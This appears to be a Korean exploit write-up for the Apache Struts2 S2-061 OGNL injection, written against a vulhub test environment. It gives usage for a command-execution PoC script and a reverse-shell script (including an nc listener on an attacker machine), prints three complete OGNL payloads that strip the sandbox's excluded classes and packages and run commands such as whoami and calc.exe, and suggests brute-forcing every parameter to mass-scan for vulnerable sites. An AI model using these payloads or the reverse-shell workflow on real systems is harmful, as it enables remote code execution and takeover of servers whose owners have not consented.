
S2-061의 payload 및 그에 대응하는 간단한 PoC/Exp
S2-061
스크립트는 모두 vulhub의 struts2-059/061 취약점 테스트 환경을 기준으로 작성되었으며, 일반적이지 않으니 고수분들의 많은 조언 부탁드립니다.
struts2-061-poc.py (간단한 시스템 명령 실행 가능)
사용법: python struts2-061-poc.py http://ip:port command
예시: python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (리버스 셸 가능)
사용법:
먼저 머신 A에서 지정된 포트를 리슨합니다(예: nc -lvvp 7777)
스크립트 실행: python2 S2-061-shell.py target_url, 여기서 target_url은 취약점 환경 주소이며, 형식은 http://ip:port 입니다.
스크립트 프롬프트에 따라 머신 A의 IP와 리슨 중인 포트를 입력하면 머신 A의 리슨 창에서 셸을 획득할 수 있습니다.
다음은 몇몇 고수분들이 만든 payload입니다:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
참고: 위 OGNL 코드를 URL 인코딩한 후 도구에서 사용하세요.
새로운 버전의 struts2에서는 더 이상 파라미터 구성을 통해 ognl 표현식을 파싱할 수 없습니다. 따라서 스크립트를 사용하여 이 취약점이 있는지 대량 스캔하려면 모든 파라미터를 직접 브루트 포스한 후 페이지에 예상 결과 텍스트가 있는지 확인하는 방법을 고려할 수 있습니다.
예:
%{ 'gcowsec-' + (2000 + 20).toString()}
예상 결과:
gcowsec-2020
스크립트로 결과에 포함되어 있는지 확인하면 됩니다.